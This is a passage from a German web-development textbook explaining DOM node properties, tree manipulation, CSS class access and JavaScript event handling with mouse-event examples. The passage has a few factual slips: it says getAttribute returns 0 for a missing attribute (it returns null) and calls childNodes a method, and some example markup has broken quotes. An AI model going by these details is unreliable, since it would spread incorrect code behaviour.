    <p>Hallo Welt!</p>
    <figure>
      <img src="../../medien/testdatei.png" alt="Testbild">
      <figcaption>Ein Testbild</figcaption>
    </figure>
  </div>
</body>


                Wenn wir jedes HTML-Tag einzeln betrachten würden, so könnten wir über sie Folgendes aussagen:

                
                    
                        
                            	
                                Tag

                            
                            	
                                Anzahl Kindknoten (Elemente)

                            
                            	
                                Anzahl Attributknoten

                            
                            	
                                Wert der Attributknoten

                            
                            	
                                Anzahl Textknoten

                            
                            	
                                Wert der Textknoten

                            
                        

                    
                    
                        
                            	
                                <div>

                            
                            	
                                2: <p>, <figure>

                            
                            	
                                1: id

                            
                            	
                                test

                            
                            	
                                3

                            
                            	
                                (Whitespaces: Zeilenumbrüche)

                            
                        

                        
                            	
                                <p>

                            
                            	
                                0

                            
                            	
                                0

                            
                            	
                            	
                                1

                            
                            	
                                Hallo Welt

                            
                        

                        
                            	
                                <figure>

                            
                            	
                                2: <img>, <figcaption>

                            
                            	
                                0

                            
                            	
                            	
                                2

                            
                            	
                                (Whitespaces)

                            
                        

                        
                            	
                                <img>

                            
                            	
                                0

                            
                            	
                                2: src, alt

                            
                            	
                                ../../medien/testdatei.jpg, Testbild

                            
                            	
                                0

                            
                            	
                        

                        
                            	
                                <figcaption>

                            
                            	
                                0

                            
                            	
                                0

                            
                            	
                            	
                                1:

                            
                            	
                                Ein Testbild

                            
                        

                    
                

                Beachten Sie: Den Kommentarknoten habe ich nicht in die Liste aufgenommen.

                In Abbildung 7.64 sehen Sie den Aufbau des <body> grafisch dargestellt:

                
                    [image: Der Dokumentbaum für den <body>. Textknoten sind blau, Attributknoten sind grün und Kommentarknoten sind schwarz hinterlegt.]

                    Abbildung 7.64    
            Der Dokumentbaum für den <body>. Textknoten sind blau, Attributknoten sind grün und Kommentarknoten sind schwarz hinterlegt.

                
                »Leere« Textknoten (Whitespaces; leere blaue Kästchen in Abbildung 7.64) findet man in jedem Dokument zuhauf, da es mitunter zum guten Programmierstil gehört, Einrückungen und Zeilenumbrüche zu schreiben. Würden wir diese entfernen so, ergäbe sich folgender Code samt dem Screenshot aus Abbildung 7.65:

                <div id="test"><!-- Ein Kommentar --><p>Hallo Welt!</p><figure>
<img src="../../medien/testdatei.png" alt="Testbild">
<figcaption>Ein Testbild</figcaption></figure></div> 


                
                    [image: HTML-Code ohne Zeilenumbrüche und Einrückungen ergibt zwar einen reduzierten Dokumentbaum, ist aber nicht mehr leserlich.]

                    Abbildung 7.65    
            HTML-Code ohne Zeilenumbrüche und Einrückungen ergibt zwar einen reduzierten Dokumentbaum, ist aber nicht mehr leserlich.

                
                Codes, die auf sämtliche Whitespaces wie auch auf Kommentare verzichten, nennt man übrigens minifiziert. Ach ja, eines noch: Die Darstellung des Dokumentbaums in Abbildung 7.64 und Abbildung 7.65 ist im Übrigen mit genau den Methoden erzeugt worden, die wir uns nun ansehen werden. Das wäre eine gute Übungsaufgabe für Sie, und zwar sowohl für die JavaScript-Programmierung als auch für die Formatierung mittels CSS.

                Die Eigenschaften eines Knotens erhalten wir wie folgend dargestellt. Bitte beachten Sie hierbei, dass zunächst ein Knoten, also ein HTML-Element, ausgewählt werden muss, was mithilfe der Methoden document.getElementById(), document.querySelector() und Co. erfolgt, die ich zu Beginn des Abschnitts beschrieben habe:

                <div id="test">...</div>
<script>


                let knoten = document.querySelector("#test");


                </script>


                Kommen wir nun zu den Eigenschaften eines (Element- oder Text-)Knotens:

                
                    	
                        nodeName liefert den Namen eines Knotens. Für Elementknoten erhält man den Namen des HTML-Tags, für Textknoten den Ausdruck #text. Weil Attributknoten keine Knoten im eigentlichen Sinne sind, muss man auf sie auf eine andere Art und Weise zugreifen. In unserem Beispiel würde der Code knoten.nodeName den Wert DIV (großgeschrieben) liefern.

                    

                    	
                        nodeType liefert den Knotentyp als Zahl, wobei 1 für einen Element-, 2 für einen Attribut-, 3 für einen Text- und 8 für einen Kommentarknoten steht. Die restlichen Werte 4, 7, 9, 10 und 11 (ja, 5 und 6 wurden in der Tat ausgelassen) sind speziellen Knoten zugewiesen, die in der Regel für uns nur wenig Bedeutung haben. (Eine vollständige Auflistung aller Knotentypen finden Sie bei Mozilla unter https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType.) knoten.nodeType wäre in unserem Fall 1 (ein Elementknoten).

                    

                    	
                        nodeValue wiederum gibt den Wert eines Knotens an. Dabei sollten Sie beachten, dass der Wert eines Knotens lediglich für den Text- und den Kommentarknoten interessant ist, da ein Elementknoten keinen Wert, sondern maximal Kindknoten besitzt. Die Werte von Attributknoten werden wiederum auf eine andere Art und Weise bestimmt.

                    

                

                Im Falle von Elementknoten werden noch weitere Eigenschaften und Methoden interessant – der Blick auf die möglichen Kinder:

                
                    	
                        Die Methode childNodes() liefert eine Art Array (konkret eine NodeList, die jedoch wie ein Array behandelt werden darf), das mithilfe einer for-Schleife Kind für Kind ausgelesen werden kann, wie folgendes Beispiel zeigt:

                        In diesem Beispiel werden sämtliche Kinder des Elements mit id="test" in einer for-Schleife ausgelesen und deren Knotentypen in der Entwicklerkonsole ausgegeben:

                        <div id=test">
  <!-- Ein Kommentar -->
  <p>Hallo Welt!</p>
  <figure>
    <img src="../../medien/testdatei.png" alt=Testbild">
    <figcaption>Ein Testbild</figcaption>
  </figure>
</div>
<script> 


                        let knoten = document.querySelector("#test");
for(let i=0; i<knoten.childNodes.length; i++) {
  console.log("Kindknotentyp: ",knoten.childNodes[i].nodeType);
} 
</script>


                        Listing 7.33    
            Der Zugriff auf die Kindknoten eines Elements

                    

                    	
                        Die Eigenschaften firstChild und lastChild liefern den Zugriff auf das erste sowie das letzte Kind eines Elements. Offensichtlich spielen wie im realen Leben das erste und das letzte Kind eine besondere Rolle ;-). Beispielsweise ergibt im vorangegangenen Beispiel knoten.firstChild den Zugriff auf den Kommentarknoten und knoten.lastChild den Zugriff auf den Elementknoten <figure>.

                    

                    	
                        parentNode liefert das Elternelement, previousSibling und nextSibling liefern das vorherige bzw. folgende Geschwisterelement.

                    

                

                Werfen wir noch einen Blick auf Attributknoten, die ja eine etwas andere Behandlung benötigen, da sie wie erwähnt aus Sicht des W3-Konsortiums nicht als Knoten im eigentlichen Sinne, sondern als assoziierte Objekte zu einem Element gelten. Mit anderen Worten, Attribute werden mit einem Elementknoten lediglich »geistig verbunden« (assoziiert). Die Eigenschaften von Attributen (Attributname und -wert) erhalten wir, indem wir uns – ähnlich wie im Fall der childNodes – zunächst Zugriff auf die vorhandenen Attribute verschaffen. Diese verstecken sich wiederum in einer Art Array (konkret einer NamedNodeMap) namens attributes. Das folgende Beispiel zeigt den Zugriff auf die Attribute eines Elementknotens und gibt diese in der Entwicklerkonsole aus:

                <div id="test">...</div>
<script>


                let knoten = document.querySelector("#test");
for(let i=0; i<knoten.attributes.length; i++) {
  console.log("Attribut: ",knoten.attributes[i]);
}


                </script>


                Listing 7.34    
            Der Zugriff auf die Attribute eines Elements

                Um nun auf Name und Wert eines Attributs zuzugreifen, werden die Eigenschaften name und value verwendet, wie folgendes Beispiel zeigt:

                <div id="test">...</div>
<script>


                let knoten = document.querySelector("#test");
for(let i=0; i<knoten.attributes.length; i++) {
  console.log("Attributname: ",knoten.attributes[i].name);
  console.log("Attributwert: ",knoten.attributes[i].value);
}


                </script>


                Listing 7.35    
            Der Zugriff auf den Namen und den Wert eines jeden Attributs

                
                    [image: Hier sehen Sie die letzten Code-Snippets inklusive der Ausgabe in der Entwicklerkonsole. Bitte beachten Sie bei der Darstellung des zweiten Knotentyps die blau unterlegte Ziffer 2: Sie deutet an, dass zweimal dieselbe Ausgabe in der Entwicklerkonsole erfolgt ist, was mit den beiden Elementtypen <p> und <figure> übereinstimmt.]

                    Abbildung 7.66    
            Hier sehen Sie die letzten Code-Snippets inklusive der Ausgabe in der Entwicklerkonsole. Bitte beachten Sie bei der Darstellung des zweiten Knotentyps die blau unterlegte Ziffer 2: Sie deutet an, dass zweimal dieselbe Ausgabe in der Entwicklerkonsole erfolgt ist, was mit den beiden Elementtypen <p> und <figure> übereinstimmt.

                
                Neben den Eigenschaften von Knoten existieren auch Methoden, um den Dokumentbaum zu manipulieren:

                
                    	
                        createElement("Tagname") erzeugt einen neuen Knoten, der jedoch noch nicht in den Dokumentbaum integriert wurde – dies erfolgt erst mit der weiter unten beschriebenen Methode appendChild().

                    

                    	
                        createTextNode("Text") erzeugt einen Textknoten, der im Weiteren einem Elementknoten hinzugefügt werden kann.

                    

                    	
                        appendChild(knoten) fügt ein neuen Kindknoten (der etwa mittels createElement erzeugt wurde) nach dem letzten Kindknoten an.

                    

                    	
                        removeChild(knoten) entfernt den ausgewählten Kindknoten.

                    

                    	
                        hasChildNodes() prüft, ob ein Knoten Kindknoten besitzt, und liefert einen booleschen Wert als Ergebnis zurück.

                    

                    	
                        setAttribute("Attributname","Attributwert") fügt einem Elementknoten ein Attribut hinzu und gibt diesem einen Wert.

                    

                    	
                        getAttribute("Attributname") liest den Attributwert eines Elementknotens aus.

                    

                

                Im folgenden Beispiel sehen Sie, wie dem <body> ein neuer Absatz der Form <p class="x">Hallo Welt!</p> anfügt wird:

                let elem = document.createElement("p");
let text = document.createTextNode("Hallo Welt!");
elem.appendChild(text); //fügt den Textknoten als Kind an den Elementknoten an
elem.setAttribute("class","x");
document.querySelector("body").appendChild(elem);


                Listing 7.36    
            Einen Kindknoten können Sie mit »appendChild« hinzufügen, sofern Sie ihn zuvor mit »createElement« erzeugt haben.

            
            
                Veränderung bringt’s, Teil 3: CSS-Code manipulieren

                Neben der Manipulation von HTML-Code ist bei der Webentwicklung selbstverständlich auch die Manipulation von CSS-Code interessant. Grundsätzlich könnten Sie auf die Idee kommen, CSS-Eigenschaften mithilfe des style-Attributs zu verändern – in diesem Fall wären Sie in derselben Situation wie bei der Manipulation von HTML-Attributen, da das style-Attribut eben ein HTML-Attribut ist:

                document.getElementById("x").style = "background-color:yellow;";


                Im obigen Code würde auf das Element mit der id="x" zugegriffen und diesem über das style-Attribut eine gelbe Hintergrundfarbe zugewiesen werden.

                Trotz aller Einfachheit weist diese Variante Nachteile auf:

                
                    	
                        Der Einsatz des style-Attributs ist an sich nachteilig, da es CSS- mit HTML-Code vermischt. Darüber haben wir uns bereits in Abschnitt 6.3.1, »So geht's: Das style-Tag« Gedanken gemacht.

                    

                    	
                        Außerdem sollten Sie beachten, dass das Attribut die höchste CSS-Spezifität aufweist, was mit anderen Worten bedeutet, dass wir die im style-Attribut gesetzten Eigenschaften nur noch mit !important-Regeln overrulen können.

                    

                

                Alternativ zu dieser Variante stellt JavaScript ein style-Objekt zur Verfügung, über das man auf die vorhandenen CSS-Eigenschaften zugreifen kann. Bitte beachten Sie an dieser Stelle, dass der Umfang an JS-Eigenschaften hinsichtlich CSS dem eigentlichen CSS-Standard immer »hinterherhinkt«: Wann immer eine neue CSS-Eigenschaft in den CSS-Standard aufgenommen wird, muss diese erst in JavaScript »nachgezogen« werden. Den Umfang der gebotenen JS-Eigenschaften finden Sie etwa unter https://www.w3schools.com/jsref/dom_obj_all.asp. Somit ist auch diese Variante nicht unbedingt empfehlenswert.

                Um nun etwa auf das class-Attribut eines HTML-Elements zuzugreifen, könnten Sie auf dieselbe Idee wie oben kommen, was jedoch nicht funktioniert, da class in JavaScript ein reserviertes Wort ist und deshalb nicht für den Zugriff auf das class-Attribut verwendet werden darf. Folgender Code ist also nicht gültig:

                document.getElementById("x").class = "a";


                Um nun korrekt und richtig auf das class-Attribut zuzugreifen, müssen Sie entweder die JavaScript-Objekteigenschaft className verwenden (document.getElementById ("x").className) oder sich der neueren DOM-Möglichkeiten aus dem vorangegangenen Abschnitt bedienen, die für den Zugriff auf Attribute eigene Methoden zur Verfügung stellen:

                
                    	
                        getAttribute("class") liest den Wert des class-Attributs eines gegebenen Knotens ein.

                    

                    	
                        setAttribute("class","a") setzt den Wert des class-Attributs eines gegebenen Knotens.

                    

                    	
                        hasAttribute("class") überprüft, ob ein gegebener Knoten ein class-Attribut besitzt.

                    

                

                Versucht man, auf ein HTML-Attribut zuzugreifen, das das Element (der Knoten) gar nicht besitzt, so liefert getAttribute den Wert 0 zurück. Aus diesem Grund sollten Sie immer zunächst prüfen, ob ein Element überhaupt über das gewünschte Attribut verfügt.

                Der Zugriff auf CSS-Klassen erfolgt über das classList-Element: Nachdem ein Element ausgewählt wurde, können so die zugewiesenen Klassen abgefragt oder verändert werden: add() fügt eine Klasse hinzu, remove() entfernt eine Klasse, mit replace() wird eine Klasse ersetzt und mit toggle() wird eine Klasse hinzugefügt, sollte sie nicht vorhanden sein, bzw. entfernt, sollte sie vorhanden sein.

                <div id="test" class="b c">Test</div>
<script>


                let elem = document.querySelector("#test");
elem.classList.add("d"); //fügt eine neue Klasse d hinzu


                </script>


            
        
    


                    
                        
        7.6    Ereignisse bestimmen den Ablauf

        Ereignisse (Events) stellen auf einer Website – ganz wie der Name schon sagt – ein »Geschehnis« dar. Ein besseres Wort als »Ereignis« lässt sich schwer finden. Ganz grundsätzlich unterscheidet man verschiedene Arten von Ereignissen, indem man sich die Frage stellt, wer das Ereignis ausgelöst hat:

        
            	
                Usergesteuerte Ereignisse sind solche, bei denen der User in das Geschehen involviert war, indem er beispielsweise mit seinem Zeigegerät (üblicherweise der Maus) auf ein Element wie einen Button geklickt hat (click, mousedown, mouseup), mithilfe der Tastatur eine Eingabe getätigt hat (keypress, keydown, keyup) oder sein Device (Smartphone, Tablet etc.) gedreht (orientationchange) oder das Browserfenster verkleinert oder vergrößert hat (resize).
Manche dieser Ereignisse betreffen die Website selbst (demnach alles, was unter das document-Objekt fällt), andere betreffen den Browser bzw. das Browserfenster (hiervon ist das window-Objekt betroffen). Oft nennen wir die vom document betroffenen Ereignisse auch »Mausereignisse« (Ereignisse, die durch Mausbewegungen, Mausklicks etc. auftreten) oder »Tastaturereignisse« (Ereignisse, die durch das Drücken von Tasten auf der Tastatur auftreten). In den meisten Fällen sind wir an Ereignissen interessiert, die ein Element im HTML-Code betreffen, wie eben das Klicken auf ein solches. Erst bei größeren Projekten oder komplexeren Aufgaben graben wir dann etwas tiefer.

            

            	
                Systemgesteuerte Ereignisse sind solche, die nicht der User, sondern das umgebende System ausgelöst hat. Hierunter fallen etwa Ereignisse wie das vollständige Laden eines Dokuments (load) oder auch das – unbeliebte – Event, das beim Schließen des Browserfensters oder Tabs entsteht (unload).

            

        

        Diese Ereignisse treten sehr häufig auf – unabhängig davon, ob wir ihr Auftreten auch erfahren wollen oder nicht. Mit anderen Worten, nicht jedes aufgetretene Ereignis muss auch durch JavaScript (bzw. durch unseren Code) ausgewertet und verarbeitet werden. Denken Sie beispielsweise daran, dass Sie als User selbstverständlich mit Ihrer Maus überall in das Browserfenster klicken und die Maus herumbewegen können: All dies wären Ereignisse, die man auswerten könnte. Nur ist es eben nicht immer sinnvoll, auf jeden Klick oder jede Mausbewegung der User zu reagieren, denn diese könnten ja einfach auch nur »aus purer Lust am Bösen« wild im Dokument herumklicken bzw. mit der Maus herumfahren.

        An sich ist die Liste der Ereignisse, die wir abfangen können, sehr, sehr (sehr) lang, wie Sie etwa auf der Developer-Site von Mozilla sehen ((https://developer.mozilla.org/en-US/docs/Web/Events?retiredLocale=de). Dennoch sind wie erwähnt zunächst einmal nur wenige Ereignisse für uns auch interessant und wissenswert.

        Entscheiden wir uns dafür, für ein auftretendes Ereignis einen entsprechenden Code zu schreiben, so spricht man von der sogenannten Ereignisbehandlung (Event Handling). Denjenigen Code, der auf das Auftreten des Ereignisses »wartet/horcht«, nennt man Ereignisbehandlungsroutine oder Listener.

        
            7.6.1    Event Listener vs. on-Events vs. Inline Event Handler

            In JavaScript existieren (theoretisch) drei Möglichkeiten, auf Ereignisse zu reagieren:

            
                	
                    die on-Ereignisbehandlung (sämtliche zugehörigen Ereignisse beginnen mit dem Wort »on«: onload, onclick, onmouseover etc.),

                

                	
                    die Zuweisung eines Listeners oder

                

                	
                    die Ereignisbehandlung direkt im HTML-Code.

                

            

            Letztere Methode ist recht unerwünscht, weshalb sie nicht zum Einsatz kommen sollte. Aber alles der Reihe nach.

            
                Die unbeliebten Inline Event Handler

                Beginnen wir mit dem Unerwünschten. Bei der Nutzung von Inline Event Handlern handelt es sich um eine Ereignisbehandlung, wo der auszuführende Code direkt in den HTML-Code eingebettet wird (ähnlich dem style-Attribut in CSS). Stellen Sie sich beispielsweise vor, Sie möchten bei einem Klick auf einen Button in der Entwicklerkonsole den Text »Hallo« ausgeben:

                <button onclick="console.log('Hallo');">Klick mich an</button>


                Wie Sie sehen, wird das Klick-Ereignis durch eine Art HTML-Attribut namens onclick abgefangen. Der auszuführende Code wird dann als »Attributwert« geschrieben. Der große Nachteil ist wie gesagt der, dass der JavaScript-Code mit dem HTML-Code vermischt wird, was nicht zuletzt zulasten der Übersichtlichkeit geht. Bitte verzichten Sie (wann immer es möglich ist) auf diese Herangehensweise!

            
            
                on-Events als bessere Alternative zu Inline Event Handlern

                Rekapitulieren wir noch einmal, was der vorangegangene Code eigentlich bewirken sollte: Bei einem Klick auf einen Button soll der Text »Hallo« in der Entwicklerkonsole ausgegeben werden. Das können wir jedoch auch erreichen, indem wir folgendermaßen an die Sache herangehen:

                
                    	
                        Zunächst benötigen wir einen Zugriff auf den betreffenden Button, was durch das Wissen aus dem aktuellen Kapitel zu den DOM-Zugriffsmöglichkeiten möglich wird. Beispielsweise könnten wir dem Button in HTML eine id zuweisen und dann mittels JavaScript auf ein Element mit dieser id zugreifen:

                        <button id="btn0">Klick mich an</button>
<script>


                        const btn = document.querySelector("#btn0"); 


                        </script> 


                    

                    	
                        Danach legen wir mithilfe einer Funktion fest, welcher Code bei einem Klick auf den Button ausgeführt werden soll:

                        <button id="btn0">Klick mich an</button>
<script>


                        const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  console.log("Hallo");
}


                        </script> 


                    

                    	
                        Zuletzt verbinden wir das ausgewählte Element mit der aufzurufenden Funktion über eine Funktionszuweisung:

                        <button id="btn0">Klick mich an</button>
<script>


                        const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  console.log("Hallo");
}


                        btn.onclick = zeigeText; //Funktionszuweisung, kein Funktionsaufruf 


                        </script> 


                    

                

                Zugegebenermaßen wirkt dieser Code doch etwas langwieriger und umständlicher. Dennoch sind nun HTML- und JavaScript-Code nicht mehr vermischt, und das macht den großen Unterschied aus.

                
                    [»]  Funktionszuweisung vs. Funktionsaufruf

                    Bitte beachten Sie den Unterschied zwischen einer Funktionszuweisung und einem Funktionsaufruf. Während ein Funktionsaufruf dafür sorgt, dass die Funktion ausgeführt wird, wird im Falle einer Funktionszuweisung die aufzurufende Funktion lediglich angegeben, nicht jedoch ausgeführt. Einen Funktionsaufruf erkennen Sie daran, dass nach dem Funktionsnamen runde Klammern auf- und zugehen (… zeigeText();), eine Funktionszuweisung wird lediglich mit dem Funktionsnamen geschrieben (… zeigeText;).

                

                
                    [»]  Event-Variable

                    Vielleicht ist Ihnen bei der Funktionsdefinition die Übergabevariable ev (abgekürzt für Event) aufgefallen. Mit ihrer Hilfe wird es möglich, auf das aufgetretene Ereignis Bezug zu nehmen, was uns etwas später noch beschäftigen wird.

                

            
            
                Event Listener für die Mehrfach-Verwendung von Code

                Das vorangegangene Beispiel hat gezeigt, dass es speziell für die Anwendung auf den einen Button »zugeschnitten wurde«. Natürlich hätten wir diese Vorgehensweise auch etwas »ausdehnen« können, indem wir nicht einen, sondern gleich mehrere Buttons ausgewählt hätten. Dies hätte natürlich zur Folge gehabt, dass wir den ausgewählten Buttons mithilfe einer Schleife das on-Event zuweisen müssen:

                <button class="btns">Klick mich an 2 (on-Event)</button>
<button class="btns">Klick mich an 3 (on-Event)</button>
<script>


                const btns = document.querySelectorAll(".btns");
 
function zeigeText(ev) {
  console.log("Hallo");
}
 
for(let i=0; i<btns.length; i++) {
  btns[i].onclick = zeigeText;
}


                </script>


                Was jedoch wäre, wenn wir jedem Element mehrere Ereignisbehandlungen zuweisen oder die Ereignisbehandlung wieder entfernen möchten?(Das wäre etwa dann notwendig, wenn ein Button nur einmal geklickt werden darf.) Die Antwort liefert uns die dritte Form der Ereignisbehandlung: die Verwendung von Listenern.

                Ein Listener benötigt – ähnlich wie auch die on-Ereignisbehandlung – zunächst den Zugriff auf dasjenige Objekt, das die Ereignisbehandlung auslöst: Das könnte (wie in unserem Fall) ein Button sein; das könnte aber auch ein Ereignis sein, das gar nicht durch den User, sondern durch das System ausgelöst wird. Verfolgen wir das Beispiel von etwas weiter oben weiter so würde der Zugriff auf den Button dadurch erfolgen, dass wir das »Objekt Button« im DOM geeignet auswählen (z. B. über document.querySelector() o. Ä.):

                <button id="btn0">Klick mich an</button>
<script>


                const btn = document.querySelector("#btn0");


                </script>


                Das ist nichts Neues, genauso sind wir auch bei den on-Events verfahren. Danach definiert man die Funktion, die aufgerufen werden soll, wenn das Ereignis auftritt. Auch das ist nicht neu:

                <button id="btn0">Klick mich an</button>
<script>


                const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  console.log("Hallo");
}


                </script>


                Der neue Teil ist, dass wir die Ereignisbehandlung nun über eine andere Methode – addEventListener und nicht click – zuweisen:

                <button id="btn0">Klick mich an</button>
<script>


                const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  console.log("Hallo");
}
btn.addEventListener("click",zeigeText);


                </script>


                Listing 7.37    
            Hinzufügen eines Event Handlers

                
                    [image: Die Funktionsweise eines Event Listeners: Objekt auswählen, Event (Ereignis) bestimmen und Funktion zuweisen]

                    Abbildung 7.67    
            Die Funktionsweise eines Event Listeners: Objekt auswählen, Event (Ereignis) bestimmen und Funktion zuweisen

                
                Das Schöne an dieser Form der Zuweisung eines Listeners ist, dass wir diesen nun auch wieder entfernen können: removeEventListener(). Hierbei ist darauf zu achten, dass das Entfernen über exakt dieselben Parameter erfolgt wie das Hinzufügen. Im obigen Beispiel wäre dies wie folgt:

                btn.removeEventListener("click",zeigeText);

                Würden wir es mit btn.removeEventListener("click"); versuchen, so würden wir scheitern.

                Als erste Idee könnten wir die Ereignisbehandlung entfernen, sobald der Button einmal geklickt wurde bzw. sobald die zugehörige Funktion aufgerufen wurde:

                <button id="btn0">Klick mich an</button>
<script>


                const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  btn.removeEventListener("click",zeigeText);
  console.log("Hallo");
}
btn.addEventListener("click",zeigeText);


                </script>


                Listing 7.38    
            Entfernen eines Event Handlers

                Interessanterweise können wir dies jedoch auch einfacher haben, wenn wir uns die zusätzlichen Parameter (Objekt) options von addEventListener genauer ansehen. Dieser ermöglicht unter anderem den Einsatz von once, das angibt, dass die Ereignisbehandlung nur ein einziges Mal ausgeführt werden soll. Das vereinfacht unseren Code wie folgt:

                
                    	
                        Zunächst definieren wir ein JavaScript-Objekt, das diesen Parameter once beinhaltet und ihn auf den Wert true setzt.

                    

                    	
                        Danach geben wir das option-Objekt in addEventListener als dritten Parameter an.

                    

                

                <button id="btn0">Klick mich an</button>
<script>


                const btn = document.querySelector("#btn0");
function zeigeText(ev) {
  console.log("Hallo");
}
const opt = {
  once: true
};
btn.addEventListener("click",zeigeText,opt);


                </script>


                Listing 7.39    
            Event Handler mit zusätzlichen Paramentern

                Neben der once-Eigenschaft existieren noch einige weitere derartige Parameter für einen Event Listener. Eine Aufstellung aller Möglichkeiten – die zugegebenermaßen jedoch nur selten Einzug in einen Code finden – sehen Sie wie üblich auf der Developer-Site von Mozilla:

                https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener

            
            
                Der Event-Parameter weiß über das Ereignis Bescheid

                Noch zu klären ist, wofür die Übergabevariable, die wir bei der Funktionsdefinition verwendet haben, überhaupt gut ist und wie diese mit Informationen befüllt wird. Erinnern wir uns nämlich an Abschnitt 7.4.6 über Funktionen zurück, so wissen wir, dass eine Funktion im Rahmen der Funktionsdefinition eine (beliebige) Anzahl an Übergabevariablen erhalten kann. Befüllt werden diese Übergabevariablen dann bei einem Funktionsaufruf:

                function test(a,b) {
  ...
}
test(2,3);


                Im Fall der Ereignisbehandlung haben wir jedoch keinen Funktionsaufruf, sondern eine Funktionszuweisung. Wie also landen die Informationen in der Übergabevariable? Die Antwort ist, dass diese Übergabevariable von der Ereignisbehandlung selbst »befüllt« wird. Es handelt sich hierbei um ein Objekt, das sämtliche Informationen zum Ereignis kennt: Über welches Element wurde das Ereignis ausgelöst (target), wie lautet der Name des Ereignisses (type-Eigenschaft), von welchem übergeordneten Objekt stammt es ab (PointerEvent, MouseEvent etc.) usw.?

                Der verwendete Name (hier: ev) ist nicht vorgegeben, jedoch hat es sich eingebürgert, dass man die Variable e, ev, event oder so ähnlich nennt.

                Versuchen Sie’s mal, indem Sie folgenden Code produzieren:

                <button id="btn">zeige Details zum Event</button>
<script>


                const btn = document.querySelector("#btn");
btn.addEventListener("click",(ev) => console.log(ev));


                </script>


                In der Entwicklerkonsole finden Sie nun sämtliche Informationen, die Ihnen das Ereignis bieten kann – und das sind viele. Je nach Ereignis erhält man mal mehr, mal weniger Informationen. Beispielsweise liefern Mausereignisse sämtliche Informationen, an welchen Koordinaten im Viewport das Ereignis aufgetreten ist, aber genauso Informationen darüber, welcher der Mausbuttons (links: Button 0, Mitte: Button 1, rechts: Button 2) geklickt wurde. Abbildung 7.68 zeigt nur den Beginn der Liste.Welche Events müssen Sie als Entwickler*in kennen?

                
                    [image: Die Informationen, die uns zu aufgetretenen Ereignisses bereitgestellt werden, sind ganz schön zahlreich, hängen aber natürlich vom jeweiligen Ereignis ab.]

                    Abbildung 7.68    
            Die Informationen, die uns zu aufgetretenen Ereignisses bereitgestellt werden, sind ganz schön zahlreich, hängen aber natürlich vom jeweiligen Ereignis ab.

                
                Sie haben bereits erfahren, dass es eine Vielzahl an Events gibt, die man (grob) in user- bzw. system- oder programmgesteuerte Ereignisse unterteilen kann. Welches Ereignis welchem Objekt zuzuweisen ist, hängt demnach davon ab, um welche Art von Ereignis es sich handelt.

                Betrachten Sie etwa Tastatur- oder Mausereignisse, so könnten Sie annehmen, dass der »Auslöser« des Ereignisses der User ist. Durchdenken Sie das Beispiel jedoch ein bisschen weiter, erkennen Sie recht schnell, dass der User als solcher in unserer JavaScript-Umgebung gar nicht vorkommt. Der User kann somit ein Ereignis zwar auslösen, ihm selbst wird die Ereignisbehandlung jedoch nicht zugewiesen, sondern demjenigen Objekt, über das der User das Ereignis auslösen möchte: ein Button oder ein beliebiges anderes Objekt, das dem User zugänglich ist – also all diejenigen Objekte, die sich im Dokumentbaum tummeln. Typische usergesteuerte Ereignisse sind: Mausereignisse, Tastaturereignisse und Formularereignisse. Diese sehen wir uns nun im Einzelnen an.

            
            
                Mausereignisse

                Allgemein gilt, dass sich der User mit seinem Mauszeiger über dem Objekt befindet, das die Ereignisbehandlung auslösen soll. Welche Maustaste er verwendet, ist für das Auslösen des Ereignisses irrelevant, kann jedoch im Rahmen der Ereignisbehandlung ermittelt werden:

                
                    	
                        click tritt auf, wenn der User eine Maustaste nach unten drückt und wieder loslässt.

                    

                    	
                        dblclick verhält sich wie click, wird jedoch – wie der Name vermuten lässt – durch einen Doppelklick ausgelöst.

                        
                            [»]  Drücken vs. Loslassen einer Maustaste

                            Bitte beachten Sie einerseits, dass die Verwendung einer Taste auf der Maus an sich aus zwei Schritten besteht: aus dem Drücken sowie aus dem Loslassen der Maustaste.

                            Andererseits sollten Sie sich an dieser Stelle noch einmal vor Augen führen, dass eine Ereignisbehandlung immer einem Objekt zugewiesen ist. Weisen Sie beispielsweise das click-Ereignis einem Button zu und drückt der User die Maustaste über dem Button, zieht dann jedoch bei gedrückt gehaltener Maustaste den Mauszeiger vom Button weg, so wird das click-Ereignis nicht ausgelöst.

                        

                    

                    	
                        mousedown tritt auf, wenn der User eine Maustaste nach unten drückt. An welcher Stelle sich der Mauszeiger beim Loslassen befindet, ist irrelevant.

                    

                    	
                        mouseup tritt auf, wenn der User die nach unten gedrückte Maustaste wieder loslässt.

                    

                

                Das click-Ereignis umfasst demnach sowohl das mousedown- als auch das mouseup-Ereignis. Weist man einem Element nun Ereignisbehandlungen für alle drei Ereignisse zu, muss man sich die Frage der Reihenfolge stellen, die wie folgt beantwortet werden kann:

                
                    	
                        mousedown vor

                    

                    	
                        mouseup vor

                    

                    	
                        click

                    

                

                Weitere Mausereignisse sind:

                
                    	
                        mouseover (mouseenter) tritt auf, wenn der User den Mauszeiger über das betroffene Objekt bewegt.

                    

                    	
                        mouseout (mouseleave) tritt auf, wenn der User die Maus vom betroffenen Objekt wieder wegbewegt.

                    

                    	
                        mousemove tritt (fortwährend) auf, wenn der User die Maus über dem betroffenen Objekt bewegt.

                    

                

                Wenn es Sie interessiert, welcher der Mausbuttons geklickt wurde, so werden Sie in den Informationen zum aufgetretenen Ereignis fündig, wie folgendes Beispiel zeigt:

                <button id="btn">Mausereignisse</button>
<script>


                function mausereignis(ev) {
  console.log("Ereignis:",ev.type);
  console.log("benutzter Button:",ev.button);
  console.log(ev);
}
const btn = document.querySelector("#btn");
btn.addEventListener("mousedown", mausereignis);
btn.addEventListener("mouseup", mausereignis);
btn.addEventListener("click", mausereignis);
btn.addEventListener("mouseover", mausereignis);
btn.addEventListener("mouseout", mausereignis);
btn.addEventListener("mousemove", mausereignis);


                </script>


                Listing 7.40    
            Die unterschiedlichen Maus-Ereignisse werden in der Konsole ausgegeben.

                
                    [image: Das Event-Objekt hält Informationen zu den Mausereignissen bereit.]

                    Abbildung 7.69    
            Das Event-Objekt hält Informationen zu den Mausereignissen bereit.

                
